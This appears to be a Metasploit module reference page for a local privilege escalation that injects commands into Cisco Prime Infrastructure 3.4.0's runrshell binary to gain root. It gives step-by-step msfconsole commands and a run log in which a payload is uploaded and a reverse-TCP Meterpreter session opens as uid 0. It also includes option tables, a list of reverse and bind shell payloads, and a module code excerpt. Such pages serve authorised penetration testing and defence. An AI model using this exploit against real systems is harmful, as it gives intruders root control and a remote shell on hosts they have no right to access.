Cisco Prime Infrastructure Runrshell Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/linux/local/cpi_runrshell_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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Module Overview
Name: Cisco Prime Infrastructure Runrshell Privilege Escalation
Module: exploit/linux/local/cpi_runrshell_priv_esc
Source code: modules/exploits/linux/local/cpi_runrshell_priv_esc.rb
Disclosure date: 2018-12-08
Last modification time: 2019-06-10 11:20:25 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This modules exploits a vulnerability in Cisco Prime Infrastructure's runrshell binary. The runrshell binary is meant to execute a shell script as root, but can be abused to inject extra commands in the argument, allowing you to execute anything as root.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/linux/local/cpi_runrshell_priv_esc
msf exploit(cpi_runrshell_priv_esc) > show targets
... a list of targets ...
msf exploit(cpi_runrshell_priv_esc) > set TARGET target-id
msf exploit(cpi_runrshell_priv_esc) > show options
... show and set options ...
msf exploit(cpi_runrshell_priv_esc) > set SESSION session-id
msf exploit(cpi_runrshell_priv_esc) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
This modules exploits a vulnerability in Cisco Prime Infrastructure's runrshell binary. The runrshell binary is meant to execute a shell script as root, but can be abused to inject extra commands in the argument, allowing you to execute anything as root. It was originally discovered by Pedro Ribeiro, and chained in the CVE-2018-15379 exploit.
Scenarios
msf5 exploit(linux/local/cpi_runrshell_priv_esc) > run
[*] Started reverse TCP handler on 192.168.0.21:4444
[*] Uploading /tmp/mYVrqmsETa.bin
[*] chmod the file with +x
[*] Executing /tmp/mYVrqmsETa.bin
[*] Sending stage (985320 bytes) to 192.168.0.23
[*] Meterpreter session 4 opened (192.168.0.21:4444 -> 192.168.0.23:55554) at 2019-06-10 11:18:13 -0500
[+] Deleted /tmp/mYVrqmsETa.bin
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/local/cpi_runrshell_priv_esc exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/cpi_runrshell_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cpi_runrshell_priv_esc) > show info
Name: Cisco Prime Infrastructure Runrshell Privilege Escalation
Module: exploit/linux/local/cpi_runrshell_priv_esc
Platform: Linux
Arch: x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2018-12-08
Provided by:
Pedro Ribeiro <[email protected]>
sinn3r <[email protected]>
Available targets:
Id Name
-- ----
0 Cisco Prime Infrastructure 3.4.0
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload information:
Description:
This modules exploits a vulnerability in Cisco Prime
Infrastructure's runrshell binary. The runrshell binary is meant to
execute a shell script as root, but can be abused to inject extra
commands in the argument, allowing you to execute anything as root.
References:
https://github.com/pedrib/PoC/blob/master/advisories/cisco-prime-infrastructure.txt#L56
Module Options
This is a complete list of options available in the linux/local/cpi_runrshell_priv_esc exploit:
msf6 exploit(linux/local/cpi_runrshell_priv_esc) > show options
Module options (exploit/linux/local/cpi_runrshell_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Cisco Prime Infrastructure 3.4.0
Advanced Options
Here is a complete list of advanced options supported by the linux/local/cpi_runrshell_priv_esc exploit:
msf6 exploit(linux/local/cpi_runrshell_priv_esc) > show advanced
Module advanced options (exploit/linux/local/cpi_runrshell_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write the payload
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/cpi_runrshell_priv_esc module can exploit:
msf6 exploit(linux/local/cpi_runrshell_priv_esc) > show targets
Exploit targets:
Id Name
-- ----
0 Cisco Prime Infrastructure 3.4.0
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/cpi_runrshell_priv_esc exploit:
msf6 exploit(linux/local/cpi_runrshell_priv_esc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
12 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
13 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
14 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
15 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
16 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
17 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
18 payload/linux/x86/adduser normal No Linux Add User
19 payload/linux/x86/chmod normal No Linux Chmod
20 payload/linux/x86/exec normal No Linux Execute Command
21 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
22 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
23 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
24 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
25 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
26 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
27 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
28 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
29 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
30 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
31 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
32 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
33 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
34 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
35 payload/linux/x86/read_file normal No Linux Read File
36 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
37 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
38 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
39 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
40 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
41 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
42 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
43 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
44 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
45 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
46 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
47 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
48 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
49 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/cpi_runrshell_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/cpi_runrshell_priv_esc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed to upload <EXE_PATH>
Here is a relevant code snippet related to the "Failed to upload <EXE_PATH>" error message:
54: payload_name = "#{Rex::Text.rand_text_alpha(10)}.bin"
55: exe_path = Rex::FileUtils.normalize_unix_path(datastore['WritableDir'], payload_name)
56: print_status("Uploading #{exe_path}")
57: write_file(exe_path, generate_payload_exe)
58: unless file?(exe_path)
59: print_error("Failed to upload #{exe_path}")
60: return
61: end
62:
63: register_file_for_cleanup(exe_path)
64: print_status('chmod the file with +x')
Go back to menu.
Related Pull Requests
References
- CVE: Not available
- https://github.com/pedrib/PoC/blob/master/advisories/cisco-prime-infrastructure.txt#L56
See Also
Check also the following modules related to this module:
- exploit/linux/http/cpi_tararchive_upload
- exploit/linux/http/zimbra_cpio_cve_2022_41352
- exploit/windows/local/ms14_070_tcpip_ioctl
- exploit/windows/smb/netidentity_xtierrpcpipe
Authors
- Pedro Ribeiro <pedrib[at]gmail.com>
- sinn3r
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
